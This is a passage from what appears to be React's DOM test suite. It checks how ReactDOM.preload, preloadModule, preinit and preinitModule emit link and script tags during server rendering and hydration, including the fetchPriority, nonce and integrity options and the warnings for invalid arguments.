property valid for a `<link rel=\"preload\" as=\"...\" />` tag. ' +\n          'The `href` argument encountered was `undefined`. ' +\n          'The `options` argument encountered was `undefined`.\\n' +\n          '    in App (at **)',\n        'ReactDOM.preload(): Expected two arguments, a non-empty `href` string and an ' +\n          '`options` object with an `as` property valid for a `<link rel=\"preload\" as=\"...\" />` tag. ' +\n          'The `href` argument encountered was an empty string. ' +\n          'The `options` argument encountered was `undefined`.\\n' +\n          '    in App (at **)',\n        'ReactDOM.preload(): Expected two arguments, a non-empty `href` string and an ' +\n          '`options` object with an `as` property valid for a `<link rel=\"preload\" as=\"...\" />` tag. ' +\n          'The `options` argument encountered was `null`.\\n' +\n          '    in App (at **)',\n        'ReactDOM.preload(): Expected two arguments, a non-empty `href` string and an ' +\n          '`options` object with an `as` property valid for a `<link rel=\"preload\" as=\"...\" />` tag. ' +\n          'The `as` option encountered was `undefined`.\\n' +\n          '    in App (at **)',\n      ]);\n    });\n\n    it('supports fetchPriority', async () => {\n      function Component({isServer}) {\n        ReactDOM.preload(isServer ? 'highserver' : 'highclient', {\n          as: 'script',\n          fetchPriority: 'high',\n        });\n        ReactDOM.preload(isServer ? 'lowserver' : 'lowclient', {\n          as: 'style',\n          fetchPriority: 'low',\n        });\n        ReactDOM.preload(isServer ? 'autoserver' : 'autoclient', {\n          as: 'style',\n          fetchPriority: 'auto',\n        });\n        return 'hello';\n      }\n\n      await act(() => {\n        renderToPipeableStream(\n          <html>\n            <body>\n              <Component isServer={true} />\n            </body>\n          </html>,\n        ).pipe(writable);\n      });\n\n      expect(getMeaningfulChildren(document)).toEqual(\n        <html>\n          <head>\n            <link\n              rel=\"preload\"\n              as=\"script\"\n              href=\"highserver\"\n              fetchpriority=\"high\"\n            />\n            <link\n              rel=\"preload\"\n              as=\"style\"\n              href=\"lowserver\"\n              fetchpriority=\"low\"\n            />\n            <link\n              rel=\"preload\"\n              as=\"style\"\n              href=\"autoserver\"\n              fetchpriority=\"auto\"\n            />\n          </head>\n          <body>hello</body>\n        </html>,\n      );\n\n      ReactDOMClient.hydrateRoot(\n        document,\n        <html>\n          <body>\n            <Component />\n          </body>\n        </html>,\n      );\n      await waitForAll([]);\n      expect(getMeaningfulChildren(document)).toEqual(\n        <html>\n          <head>\n            <link\n              rel=\"preload\"\n              as=\"script\"\n              href=\"highserver\"\n              fetchpriority=\"high\"\n            />\n            <link\n              rel=\"preload\"\n              as=\"style\"\n              href=\"lowserver\"\n              fetchpriority=\"low\"\n            />\n            <link\n              rel=\"preload\"\n              as=\"style\"\n              href=\"autoserver\"\n              fetchpriority=\"auto\"\n            />\n            <link\n              rel=\"preload\"\n              as=\"script\"\n              href=\"highclient\"\n              fetchpriority=\"high\"\n            />\n            <link\n              rel=\"preload\"\n              as=\"style\"\n              href=\"lowclient\"\n              fetchpriority=\"low\"\n            />\n            <link\n              rel=\"preload\"\n              as=\"style\"\n              href=\"autoclient\"\n              fetchpriority=\"auto\"\n            />\n          </head>\n          <body>hello</body>\n        </html>,\n      );\n    });\n\n    it('supports nonce', async () => {\n      function App({url}) {\n        ReactDOM.preload(url, {as: 'script', nonce: 'abc'});\n        return 'hello';\n      }\n\n      await act(() => {\n        renderToPipeableStream(<App url=\"server\" />).pipe(writable);\n      });\n\n      expect(getMeaningfulChildren(document)).toEqual(\n        <html>\n          <head />\n          <body>\n            <div id=\"container\">\n              <link rel=\"preload\" as=\"script\" href=\"server\" nonce=\"abc\" />\n              hello\n            </div>\n          </body>\n        </html>,\n      );\n\n      ReactDOMClient.hydrateRoot(container, <App url=\"client\" />);\n      await waitForAll([]);\n      expect(getMeaningfulChildren(document)).toEqual(\n        <html>\n          <head>\n            <link rel=\"preload\" as=\"script\" href=\"client\" nonce=\"abc\" />\n          </head>\n          <body>\n            <div id=\"container\">\n              <link rel=\"preload\" as=\"script\" href=\"server\" nonce=\"abc\" />\n              hello\n            </div>\n          </body>\n        </html>,\n      );\n    });\n  });\n\n  describe('ReactDOM.preloadModule(href, options)', () => {\n    it('preloads scripts as modules', async () => {\n      function App({ssr}) {\n        const prefix = ssr ? 'ssr ' : 'browser ';\n        ReactDOM.preloadModule(prefix + 'plain');\n        ReactDOM.preloadModule(prefix + 'default', {as: 'script'});\n        ReactDOM.preloadModule(prefix + 'cors', {\n          crossOrigin: 'use-credentials',\n        });\n        ReactDOM.preloadModule(prefix + 'integrity', {integrity: 'some hash'});\n        ReactDOM.preloadModule(prefix + 'serviceworker', {as: 'serviceworker'});\n        return <div>hello</div>;\n      }\n      await act(() => {\n        renderToPipeableStream(<App ssr={true} />).pipe(writable);\n      });\n      expect(getMeaningfulChildren(document.body)).toEqual(\n        <div id=\"container\">\n          <link rel=\"modulepreload\" href=\"ssr plain\" />\n          <link rel=\"modulepreload\" href=\"ssr default\" />\n          <link\n            rel=\"modulepreload\"\n            href=\"ssr cors\"\n            crossorigin=\"use-credentials\"\n          />\n          <link\n            rel=\"modulepreload\"\n            href=\"ssr integrity\"\n            integrity=\"some hash\"\n          />\n          <link\n            rel=\"modulepreload\"\n            href=\"ssr serviceworker\"\n            as=\"serviceworker\"\n          />\n          <div>hello</div>\n        </div>,\n      );\n\n      ReactDOMClient.hydrateRoot(container, <App />);\n      await waitForAll([]);\n      expect(getMeaningfulChildren(document)).toEqual(\n        <html>\n          <head>\n            <link rel=\"modulepreload\" href=\"browser plain\" />\n            <link rel=\"modulepreload\" href=\"browser default\" />\n            <link\n              rel=\"modulepreload\"\n              href=\"browser cors\"\n              crossorigin=\"use-credentials\"\n            />\n            <link\n              rel=\"modulepreload\"\n              href=\"browser integrity\"\n              integrity=\"some hash\"\n            />\n            <link\n              rel=\"modulepreload\"\n              href=\"browser serviceworker\"\n              as=\"serviceworker\"\n            />\n          </head>\n          <body>\n            <div id=\"container\">\n              <link rel=\"modulepreload\" href=\"ssr plain\" />\n              <link rel=\"modulepreload\" href=\"ssr default\" />\n              <link\n                rel=\"modulepreload\"\n                href=\"ssr cors\"\n                crossorigin=\"use-credentials\"\n              />\n              <link\n                rel=\"modulepreload\"\n                href=\"ssr integrity\"\n                integrity=\"some hash\"\n              />\n              <link\n                rel=\"modulepreload\"\n                href=\"ssr serviceworker\"\n                as=\"serviceworker\"\n              />\n              <div>hello</div>\n            </div>\n          </body>\n        </html>,\n      );\n    });\n\n    it('warns if you provide invalid arguments', async () => {\n      function App() {\n        ReactDOM.preloadModule();\n        ReactDOM.preloadModule(() => {});\n        ReactDOM.preloadModule('');\n        ReactDOM.preloadModule('1', true);\n        ReactDOM.preloadModule('2', {as: true});\n        return <div>hello</div>;\n      }\n      await act(() => {\n        renderToPipeableStream(<App />).pipe(writable);\n      });\n      assertConsoleErrorDev([\n        'ReactDOM.preloadModule(): Expected two arguments, a non-empty `href` string and, optionally, ' +\n          'an `options` object with an `as` property valid for a `<link rel=\"modulepreload\" as=\"...\" />` tag. ' +\n          'The `href` argument encountered was `undefined`.\\n' +\n          '    in App (at **)',\n        'ReactDOM.preloadModule(): Expected two arguments, a non-empty `href` string and, optionally, ' +\n          'an `options` object with an `as` property valid for a `<link rel=\"modulepreload\" as=\"...\" />` tag. ' +\n          'The `href` argument encountered was something with type \"function\".\\n' +\n          '    in App (at **)',\n        'ReactDOM.preloadModule(): Expected two arguments, a non-empty `href` string and, optionally, ' +\n          'an `options` object with an `as` property valid for a `<link rel=\"modulepreload\" as=\"...\" />` tag. ' +\n          'The `href` argument encountered was an empty string.\\n' +\n          '    in App (at **)',\n        'ReactDOM.preloadModule(): Expected two arguments, a non-empty `href` string and, optionally, ' +\n          'an `options` object with an `as` property valid for a `<link rel=\"modulepreload\" as=\"...\" />` tag. ' +\n          'The `options` argument encountered was something with type \"boolean\".\\n' +\n          '    in App (at **)',\n        'ReactDOM.preloadModule(): Expected two arguments, a non-empty `href` string and, optionally,' +\n          ' an `options` object with an `as` property valid for a `<link rel=\"modulepreload\" as=\"...\" />` tag. ' +\n          'The `as` option encountered was something with type \"boolean\".\\n' +\n          '    in App (at **)',\n      ]);\n      expect(getMeaningfulChildren(document.body)).toEqual(\n        <div id=\"container\">\n          <link rel=\"modulepreload\" href=\"1\" />\n          <link rel=\"modulepreload\" href=\"2\" />\n          <div>hello</div>\n        </div>,\n      );\n\n      const root = ReactDOMClient.createRoot(\n        document.getElementById('container'),\n      );\n      root.render(<App />);\n      await waitForAll([]);\n      assertConsoleErrorDev([\n        'ReactDOM.preloadModule(): Expected two arguments, a non-empty `href` string and, optionally, ' +\n          'an `options` object with an `as` property valid for a `<link rel=\"modulepreload\" as=\"...\" />` tag. ' +\n          'The `href` argument encountered was `undefined`.\\n' +\n          '    in App (at **)',\n        'ReactDOM.preloadModule(): Expected two arguments, a non-empty `href` string and, optionally, ' +\n          'an `options` object with an `as` property valid for a `<link rel=\"modulepreload\" as=\"...\" />` tag. ' +\n          'The `href` argument encountered was something with type \"function\".\\n' +\n          '    in App (at **)',\n        'ReactDOM.preloadModule(): Expected two arguments, a non-empty `href` string and, optionally, an ' +\n          '`options` object with an `as` property valid for a `<link rel=\"modulepreload\" as=\"...\" />` tag. ' +\n          'The `href` argument encountered was an empty string.\\n' +\n          '    in App (at **)',\n        'ReactDOM.preloadModule(): Expected two arguments, a non-empty `href` string and, optionally, an ' +\n          '`options` object with an `as` property valid for a `<link rel=\"modulepreload\" as=\"...\" />` tag. ' +\n          'The `options` argument encountered was something with type \"boolean\".\\n' +\n          '    in App (at **)',\n        'ReactDOM.preloadModule(): Expected two arguments, a non-empty `href` string and, optionally, an ' +\n          '`options` object with an `as` property valid for a `<link rel=\"modulepreload\" as=\"...\" />` tag. ' +\n          'The `as` option encountered was something with type \"boolean\".\\n' +\n          '    in App (at **)',\n      ]);\n    });\n  });\n\n  describe('ReactDOM.preinit(href, { as: ... })', () => {\n    it('creates a stylesheet resource when ReactDOM.preinit(..., {as: \"style\" }) is called', async () => {\n      function App() {\n        ReactDOM.preinit('foo', {as: 'style'});\n        return (\n          <html>\n            <body>\n              <Suspense fallback=\"loading...\">\n                <BlockedOn value=\"bar\">\n                  <Component />\n                </BlockedOn>\n              </Suspense>\n            </body>\n          </html>\n        );\n      }\n\n      function Component() {\n        ReactDOM.preinit('bar', {as: 'style'});\n        return <div>hello</div>;\n      }\n\n      await act(() => {\n        const {pipe} = renderToPipeableStream(<App />);\n        pipe(writable);\n      });\n      expect(getMeaningfulChildren(document)).toEqual(\n        <html>\n          <head>\n            <link rel=\"stylesheet\" href=\"foo\" data-precedence=\"default\" />\n          </head>\n          <body>loading...</body>\n        </html>,\n      );\n\n      await act(() => {\n        resolveText('bar');\n      });\n      // The reason we do not see the \"bar\" stylesheet here is that ReactDOM.preinit is not about\n      // encoding a resource dependency but is a hint that a resource will be used in the near future.\n      // If we call preinit on the server after the shell has flushed the best we can do is emit a preload\n      // because any flushing suspense boundaries are not actually dependent on that resource and we don't\n      // want to delay reveal based on when that resource loads.\n      expect(getMeaningfulChildren(document)).toEqual(\n        <html>\n          <head>\n            <link rel=\"stylesheet\" href=\"foo\" data-precedence=\"default\" />\n          </head>\n          <body>\n            <div>hello</div>\n            <link rel=\"preload\" href=\"bar\" as=\"style\" />\n          </body>\n        </html>,\n      );\n\n      function ClientApp() {\n        ReactDOM.preinit('bar', {as: 'style'});\n        return (\n          <html>\n            <body>\n              <Suspense fallback=\"loading...\">\n                <div>hello</div>\n              </Suspense>\n            </body>\n          </html>\n        );\n      }\n\n      ReactDOMClient.hydrateRoot(document, <ClientApp />);\n      await waitForAll([]);\n      expect(getMeaningfulChildren(document)).toEqual(\n        <html>\n          <head>\n            <link rel=\"stylesheet\" href=\"foo\" data-precedence=\"default\" />\n            <link rel=\"stylesheet\" href=\"bar\" data-precedence=\"default\" />\n          </head>\n          <body>\n            <div>hello</div>\n            <link rel=\"preload\" href=\"bar\" as=\"style\" />\n          </body>\n        </html>,\n      );\n    });\n\n    it('creates a stylesheet resource in the ownerDocument when ReactDOM.preinit(..., {as: \"style\" }) is called outside of render on the client', async () => {\n      function App() {\n        React.useEffect(() => {\n          ReactDOM.preinit('foo', {as: 'style'});\n        }, []);\n        return (\n          <html>\n            <body>foo</body>\n          </html>\n        );\n      }\n\n      const root = ReactDOMClient.createRoot(document);\n      root.render(<App />);\n      await waitForAll([]);\n      expect(getMeaningfulChildren(document)).toEqual(\n        <html>\n          <head>\n            <link rel=\"stylesheet\" href=\"foo\" data-precedence=\"default\" />\n          </head>\n          <body>foo</body>\n        </html>,\n      );\n    });\n\n    it('creates a stylesheet resource in the ownerDocument when ReactDOM.preinit(..., {as: \"style\" }) is called in shadowRoot', async () => {\n      // This is testing behavior, but it shows that it is not a good idea to preinit inside a shadowRoot. The point is we are asserting a behavior\n      // you would want to avoid in a real app.\n      const shadow = document.body.attachShadow({mode: 'open'});\n      function ShadowComponent() {\n        ReactDOM.preinit('bar', {as: 'style'});\n        return null;\n      }\n      function App() {\n        React.useEffect(() => {\n          ReactDOM.preinit('foo', {as: 'style'});\n        }, []);\n        return (\n          <html>\n            <body>\n              foo\n              {ReactDOM.createPortal(\n                <div>\n                  <ShadowComponent />\n                  shadow\n                </div>,\n                shadow,\n              )}\n            </body>\n          </html>\n        );\n      }\n\n      const root = ReactDOMClient.createRoot(document);\n      root.render(<App />);\n      await waitForAll([]);\n      expect(getMeaningfulChildren(document)).toEqual(\n        <html>\n          <head>\n            <link rel=\"stylesheet\" href=\"bar\" data-precedence=\"default\" />\n            <link rel=\"stylesheet\" href=\"foo\" data-precedence=\"default\" />\n          </head>\n          <body>foo</body>\n        </html>,\n      );\n      expect(getMeaningfulChildren(shadow)).toEqual(<div>shadow</div>);\n    });\n\n    it('creates a script resource when ReactDOM.preinit(..., {as: \"script\" }) is called', async () => {\n      function App() {\n        ReactDOM.preinit('foo', {as: 'script'});\n        return (\n          <html>\n            <body>\n              <Suspense fallback=\"loading...\">\n                <BlockedOn value=\"bar\">\n                  <Component />\n                </BlockedOn>\n              </Suspense>\n            </body>\n          </html>\n        );\n      }\n\n      function Component() {\n        ReactDOM.preinit('bar', {as: 'script'});\n        return <div>hello</div>;\n      }\n\n      await act(() => {\n        const {pipe} = renderToPipeableStream(<App />);\n        pipe(writable);\n      });\n      expect(getMeaningfulChildren(document)).toEqual(\n        <html>\n          <head>\n            <script async=\"\" src=\"foo\" />\n          </head>\n          <body>loading...</body>\n        </html>,\n      );\n\n      await act(() => {\n        resolveText('bar');\n      });\n      expect(getMeaningfulChildren(document)).toEqual(\n        <html>\n          <head>\n            <script async=\"\" src=\"foo\" />\n          </head>\n          <body>\n            <div>hello</div>\n            <script async=\"\" src=\"bar\" />\n          </body>\n        </html>,\n      );\n\n      function ClientApp() {\n        ReactDOM.preinit('bar', {as: 'script'});\n        return (\n          <html>\n            <body>\n              <Suspense fallback=\"loading...\">\n                <div>hello</div>\n              </Suspense>\n            </body>\n          </html>\n        );\n      }\n\n      ReactDOMClient.hydrateRoot(document, <ClientApp />);\n      await waitForAll([]);\n      expect(getMeaningfulChildren(document)).toEqual(\n        <html>\n          <head>\n            <script async=\"\" src=\"foo\" />\n          </head>\n          <body>\n            <div>hello</div>\n            <script async=\"\" src=\"bar\" />\n          </body>\n        </html>,\n      );\n    });\n\n    it('creates a script resource when ReactDOM.preinit(..., {as: \"script\" }) is called outside of render on the client', async () => {\n      function App() {\n        React.useEffect(() => {\n          ReactDOM.preinit('foo', {as: 'script'});\n        }, []);\n        return (\n          <html>\n            <body>foo</body>\n          </html>\n        );\n      }\n\n      const root = ReactDOMClient.createRoot(document);\n      root.render(<App />);\n      await waitForAll([]);\n      expect(getMeaningfulChildren(document)).toEqual(\n        <html>\n          <head>\n            <script async=\"\" src=\"foo\" />\n          </head>\n          <body>foo</body>\n        </html>,\n      );\n    });\n\n    it('warns if you do not pass in a valid href argument or options argument', async () => {\n      function App() {\n        ReactDOM.preinit();\n        ReactDOM.preinit('');\n        ReactDOM.preinit('foo', null);\n        ReactDOM.preinit('foo', {});\n        ReactDOM.preinit('foo', {as: 'foo'});\n        return <div>foo</div>;\n      }\n\n      await act(() => {\n        renderToPipeableStream(<App />).pipe(writable);\n      });\n      assertConsoleErrorDev([\n        'ReactDOM.preinit(): Expected the `href` argument (first) to be a non-empty string ' +\n          'but encountered `undefined` instead.\\n' +\n          '    in App (at **)',\n        'ReactDOM.preinit(): Expected the `href` argument (first) to be a non-empty string ' +\n          'but encountered an empty string instead.\\n' +\n          '    in App (at **)',\n        'ReactDOM.preinit(): Expected the `options` argument (second) to be an object with an `as` ' +\n          'property describing the type of resource to be preinitialized but encountered `null` instead.\\n' +\n          '    in App (at **)',\n        'ReactDOM.preinit(): Expected the `as` property in the `options` argument (second) to contain ' +\n          'a valid value describing the type of resource to be preinitialized but encountered `undefined` instead. ' +\n          'Valid values for `as` are \"style\" and \"script\".\\n' +\n          '    in App (at **)',\n        'ReactDOM.preinit(): Expected the `as` property in the `options` argument (second) to contain ' +\n          'a valid value describing the type of resource to be preinitialized but encountered \"foo\" instead. ' +\n          'Valid values for `as` are \"style\" and \"script\".\\n' +\n          '    in App (at **)',\n      ]);\n    });\n\n    it('accepts a `nonce` option for `as: \"script\"`', async () => {\n      function Component({src}) {\n        ReactDOM.preinit(src, {as: 'script', nonce: 'R4nD0m'});\n        return 'hello';\n      }\n\n      await act(() => {\n        renderToPipeableStream(\n          <html>\n            <body>\n              <Component src=\"foo\" />\n            </body>\n          </html>,\n          {\n            nonce: 'R4nD0m',\n          },\n        ).pipe(writable);\n      });\n\n      expect(getMeaningfulChildren(document)).toEqual(\n        <html>\n          <head>\n            <script async=\"\" src=\"foo\" nonce=\"R4nD0m\" />\n          </head>\n          <body>hello</body>\n        </html>,\n      );\n\n      await clientAct(() => {\n        ReactDOMClient.hydrateRoot(\n          document,\n          <html>\n            <body>\n              <Component src=\"bar\" />\n            </body>\n          </html>,\n        );\n      });\n\n      expect(getMeaningfulChildren(document)).toEqual(\n        <html>\n          <head>\n            <script async=\"\" src=\"foo\" nonce=\"R4nD0m\" />\n            <script async=\"\" src=\"bar\" nonce=\"R4nD0m\" />\n          </head>\n          <body>hello</body>\n        </html>,\n      );\n    });\n\n    it('accepts an `integrity` option for `as: \"script\"`', async () => {\n      function Component({src, hash}) {\n        ReactDOM.preinit(src, {as: 'script', integrity: hash});\n        return 'hello';\n      }\n\n      await act(() => {\n        renderToPipeableStream(\n          <html>\n            <body>\n              <Component src=\"foo\" hash=\"foo hash\" />\n            </body>\n          </html>,\n          {\n            nonce: 'R4nD0m',\n          },\n        ).pipe(writable);\n      });\n\n      expect(getMeaningfulChildren(document)).toEqual(\n        <html>\n          <head>\n            <script async=\"\" src=\"foo\" integrity=\"foo hash\" />\n          </head>\n          <body>hello</body>\n        </html>,\n      );\n\n      await clientAct(() => {\n        ReactDOMClient.hydrateRoot(\n          document,\n          <html>\n            <body>\n              <Component src=\"bar\" hash=\"bar hash\" />\n            </body>\n          </html>,\n        );\n      });\n\n      expect(getMeaningfulChildren(document)).toEqual(\n        <html>\n          <head>\n            <script async=\"\" src=\"foo\" integrity=\"foo hash\" />\n            <script async=\"\" src=\"bar\" integrity=\"bar hash\" />\n          </head>\n          <body>hello</body>\n        </html>,\n      );\n    });\n\n    it('accepts an `integrity` option for `as: \"style\"`', async () => {\n      function Component({src, hash}) {\n        ReactDOM.preinit(src, {as: 'style', integrity: hash});\n        return 'hello';\n      }\n\n      await act(() => {\n        renderToPipeableStream(\n          <html>\n            <body>\n              <Component src=\"foo\" hash=\"foo hash\" />\n            </body>\n          </html>,\n          {\n            nonce: 'R4nD0m',\n          },\n        ).pipe(writable);\n      });\n\n      expect(getMeaningfulChildren(document)).toEqual(\n        <html>\n          <head>\n            <link\n              rel=\"stylesheet\"\n              href=\"foo\"\n              integrity=\"foo hash\"\n              data-precedence=\"default\"\n            />\n          </head>\n          <body>hello</body>\n        </html>,\n      );\n      await clientAct(() => {\n        ReactDOMClient.hydrateRoot(\n          document,\n          <html>\n            <body>\n              <Component src=\"bar\" hash=\"bar hash\" />\n            </body>\n          </html>,\n        );\n      });\n      expect(getMeaningfulChildren(document)).toEqual(\n        <html>\n          <head>\n            <link\n              rel=\"stylesheet\"\n              href=\"foo\"\n              integrity=\"foo hash\"\n              data-precedence=\"default\"\n            />\n            <link\n              rel=\"stylesheet\"\n              href=\"bar\"\n              integrity=\"bar hash\"\n              data-precedence=\"default\"\n            />\n          </head>\n          <body>hello</body>\n        </html>,\n      );\n    });\n\n    it('supports fetchPriority', async () => {\n      function Component({isServer}) {\n        ReactDOM.preinit(isServer ? 'highserver' : 'highclient', {\n          as: 'script',\n          fetchPriority: 'high',\n        });\n        ReactDOM.preinit(isServer ? 'lowserver' : 'lowclient', {\n          as: 'style',\n          fetchPriority: 'low',\n        });\n        ReactDOM.preinit(isServer ? 'autoserver' : 'autoclient', {\n          as: 'style',\n          fetchPriority: 'auto',\n        });\n        return 'hello';\n      }\n\n      await act(() => {\n        renderToPipeableStream(\n          <html>\n            <body>\n              <Component isServer={true} />\n            </body>\n          </html>,\n        ).pipe(writable);\n      });\n\n      expect(getMeaningfulChildren(document)).toEqual(\n        <html>\n          <head>\n            <link\n              rel=\"stylesheet\"\n              href=\"lowserver\"\n              fetchpriority=\"low\"\n              data-precedence=\"default\"\n            />\n            <link\n              rel=\"stylesheet\"\n              href=\"autoserver\"\n              fetchpriority=\"auto\"\n              data-precedence=\"default\"\n            />\n            <script async=\"\" src=\"highserver\" fetchpriority=\"high\" />\n          </head>\n          <body>hello</body>\n        </html>,\n      );\n      ReactDOMClient.hydrateRoot(\n        document,\n        <html>\n          <body>\n            <Component />\n          </body>\n        </html>,\n      );\n      await waitForAll([]);\n      expect(getMeaningfulChildren(document)).toEqual(\n        <html>\n          <head>\n            <link\n              rel=\"stylesheet\"\n              href=\"lowserver\"\n              fetchpriority=\"low\"\n              data-precedence=\"default\"\n            />\n            <link\n              rel=\"stylesheet\"\n              href=\"autoserver\"\n              fetchpriority=\"auto\"\n              data-precedence=\"default\"\n            />\n            <link\n              rel=\"stylesheet\"\n              href=\"lowclient\"\n              fetchpriority=\"low\"\n              data-precedence=\"default\"\n            />\n            <link\n              rel=\"stylesheet\"\n              href=\"autoclient\"\n              fetchpriority=\"auto\"\n              data-precedence=\"default\"\n            />\n            <script async=\"\" src=\"highserver\" fetchpriority=\"high\" />\n            <script async=\"\" src=\"highclient\" fetchpriority=\"high\" />\n          </head>\n          <body>hello</body>\n        </html>,\n      );\n    });\n  });\n\n  describe('ReactDOM.preinitModule(href, options)', () => {\n    it('creates a script module resources', async () => {\n      function App({ssr}) {\n        const prefix = ssr ? 'ssr ' : 'browser ';\n        ReactDOM.preinitModule(prefix + 'plain');\n        ReactDOM.preinitModule(prefix + 'default', {as: 'script'});\n        ReactDOM.preinitModule(prefix + 'cors', {\n          crossOrigin: 'use-credentials',\n        });\n        ReactDOM.preinitModule(prefix + 'integrity', {integrity: 'some hash'});\n        ReactDOM.preinitModule(prefix + 'warning', {as: 'style'});\n        return <div>hello</div>;\n      }\n      await act(() => {\n        renderToPipeableStream(<App ssr={true} />).pipe(writable);\n      });\n      assertConsoleErrorDev([\n        'ReactDOM.preinitModule(): Expected up to two arguments, a non-empty `href` ' +\n          'string and, optionally, an `options` object with a valid `as` property. ' +\n          'The `as` option encountered was \"style\".\\n' +\n          '    in App (at **)',\n      ]);\n      expect(getMeaningfulChildren(document.body)).toEqual(\n        <div id=\"container\">\n          <script type=\"module\" src=\"ssr plain\" async=\"\" />\n          <script type=\"module\" src=\"ssr default\" async=\"\" />\n          <script\n            type=\"module\"\n            src=\"ssr cors\"\n            crossorigin=\"use-credentials\"\n            async=\"\"\n          />\n          <script\n            type=\"module\"\n            src=\"ssr integrity\"\n            integrity=\"some hash\"\n            async=\"\"\n          />\n          <div>hello</div>\n        </div>,\n      );\n\n      ReactDOMClient.hydrateRoot(container, <App />);\n      await waitForAll([]);\n      assertConsoleErrorDev([\n        'ReactDOM.preinitModule(): Expected up to two arguments, a non-empty `href` ' +\n          'string and, optionally, an `options` object with a valid `as` property. ' +\n          'The `as` option encountered was \"style\".\\n' +\n          '    in App (at **)',\n      ]);\n      expect(getMeaningfulChildren(document)).toEqual(\n        <html>\n          <head>\n            <script type=\"module\" src=\"browser plain\" async=\"\" />\n            <script type=\"module\" src=\"browser default\" async=\"\" />\n            <script\n              type=\"module\"\n              src=\"browser cors\"\n              crossorigin=\"use-credentials\"\n              async=\"\"\n            />\n            <script\n              type=\"module\"\n              src=\"browser integrity\"\n              integrity=\"some hash\"\n              async=\"\"\n            />\n          </head>\n          <body>\n            <div id=\"container\">\n              <script type=\"module\" src=\"ssr plain\" async=\"\" />\n              <script type=\"module\" src=\"ssr default\" async=\"\" />\n              <script\n                type=\"module\"\n                src=\"ssr cors\"\n                crossorigin=\"use-credentials\"\n                async=\"\"\n              />\n              <script\n                type=\"module\"\n                src=\"ssr integrity\"\n                integrity=\"some hash\"\n                async=\"\"\n              />\n              <div>hello</div>\n            </div>\n          </body>\n        </html>,\n      );\n    });\n\n    it('warns if you provide invalid arguments', async () => {\n      function App() {\n        ReactDOM.preinitModule();\n        ReactDOM.preinitModule(() => {});\n        ReactDOM.preinitModule('');\n        ReactDOM.preinitModule('1', true);\n        ReactDOM.preinitModule('2', {as: true});\n        return <div>hello</div>;\n      }\n      await act(() => {\n        renderToPipeableStream(<App />).pipe(writable);\n      });\n      assertConsoleErrorDev([\n        'ReactDOM.preinitModule(): Expected up to two arguments, a non-empty `href` ' +\n          'string and, optionally, an `options` object with a valid `as` property. ' +\n          'The `href` argument encountered was `undefined`.\\n' +\n          '    in App (at **)',\n        'ReactDOM.preinitModule(): Expected up to two arguments, a non-empty `href` ' +\n          'string and, optionally, an `options` object with a valid `as` property. ' +\n          'The `href` argument encountered was something with type \"function\".\\n' +\n          '    in App (at **)',\n        'ReactDOM.preinitModule(): Expected up to two arguments, a non-empty `href` ' +\n          'string and, optionally, an `options` object with a valid `as` property. ' +\n          'The `href` argument encountered was an empty string.\\n' +\n          '    in App (at **)',\n        'ReactDOM.preinitModule(): Expected up to two arguments, a non-empty `href` ' +\n          'string and, optionally, an `options` object with a valid `as` property. ' +\n          'The `options` argument encountered was something with type \"boolean\".\\n' +\n          '    in App (at **)',\n        'ReactDOM.preinitModule(): Expected up to two arguments, a non-empty `href` ' +\n          'string and, optionally, an `options` object with a valid `as` property. ' +\n          'The `as` option encountered was something with type \"boolean\".\\n' +\n          '    in App (at **)',\n      ]);\n      expect(getMeaningfulChildren(document.body)).toEqual(\n        <div id=\"container\">\n          <div>hello</div>\n        </div>,\n      );\n\n      const root = ReactDOMClient.createRoot(\n        document.getElementById('container'),\n      );\n      root.render(<App />);\n      await waitForAll([]);\n      assertConsoleErrorDev([\n        'ReactDOM.preinitModule(): Expected up to two arguments, a non-empty `href` ' +\n          'string and, optionally, an `options` object with a valid `as` property. ' +\n          'The `href` argument encountered was `undefined`.\\n' +\n          '    in App (at **)',\n        'ReactDOM.preinitModule(): Expected up to two arguments, a non-empty `href` ' +\n          'string and, optionally, an `options` object with a valid `as` property. ' +\n          'The `href` argument encountered was something with type \"function\".\\n' +\n          '    in App (at **)',\n        'ReactDOM.preinitModule(): Expected up to two arguments, a non-empty `href` ' +\n          'string and, optionally, an `options` object with a valid `as` property. ' +\n          'The `href` argument encountered was an empty string.\\n' +\n          '    in App (at **)',\n        'ReactDOM.preinitModule(): Expected up to two arguments, a non-empty `href` ' +\n          'string and, optionally, an `options` object with a valid `as` property. ' +\n          'The `options` argument encountered was something with type \"boolean\".\\n' +\n          '    in App (at **)',\n        'ReactDOM.preinitModule(): Expected up to two arguments, a non-empty `href` ' +\n          'string and, optionally, an `options` object with a valid `as` property. ' +\n          'The `as` option encountered was something with type \"boolean\".\\n' +\n          '    in App (at **)',\n      ]);\n    });\n  });\n\n  describe('Stylesheet Resources', () => {\n    it('treats link rel stylesheet elements as a stylesheet resource when it includes a precedence when server rendering', async () => {\n      await act(() => {\n        const {pipe} = renderToPipeableStream(\n          <html>\n            <head />\n            <body>\n              <link rel=\"stylesheet\" href=\"aresource\" precedence=\"foo\" />\n              <div>hello world</div>\n            </body>\n          </html>,\n        );\n        pipe(writable);\n      });\n\n      expect(getMeaningfulChildren(document)).toEqual(\n        <html>\n          <head>\n            <link rel=\"stylesheet\" href=\"aresource\" data-precedence=\"foo\" />\n          </head>\n          <body>\n            <div>hello world</div>\n          </body>\n        </html>,\n      );\n    });\n\n    it('treats link rel stylesheet elements as a stylesheet resource when it includes a precedence when client rendering', async () => {\n      const root = ReactDOMClient.createRoot(document);\n      root.render(\n        <html>\n          <head />\n          <body>\n            <link rel=\"stylesheet\" href=\"aresource\" precedence=\"foo\" />\n            <div>hello world</div>\n          </body>\n        </html>,\n      );\n      await waitForAll([]);\n      await act(() => {\n        loadPreloads();\n        loadStylesheets();\n      });\n      await assertLog([\n        'load preload: aresource',\n        'load stylesheet: aresource',\n      ]);\n\n      expect(getMeaningfulChildren(document)).toEqual(\n        <html>\n          <head>\n            <link rel=\"stylesheet\" href=\"aresource\" data-precedence=\"foo\" />\n          </head>\n          <body>\n            <div>hello world</div>\n          </body>\n        </html>,\n      );\n    });\n\n    it('treats link rel stylesheet elements as a stylesheet resource when it includes a precedence when hydrating', async () => {\n      await act(() => {\n        const {pipe} = renderToPipeableStream(\n          <html>\n            <head />\n            <body>\n              <link rel=\"stylesheet\" href=\"aresource\" precedence=\"foo\" />\n              <div>hello world</div>\n            </body>\n          </html>,\n        );\n        pipe(writable);\n      });\n      ReactDOMClient.hydrateRoot(\n        document,\n        <html>\n          <head />\n          <body>\n            <link rel=\"stylesheet\" href=\"aresource\" precedence=\"foo\" />\n            <div>hello world</div>\n          </body>\n        </html>,\n      );\n      await waitForAll([]);\n\n     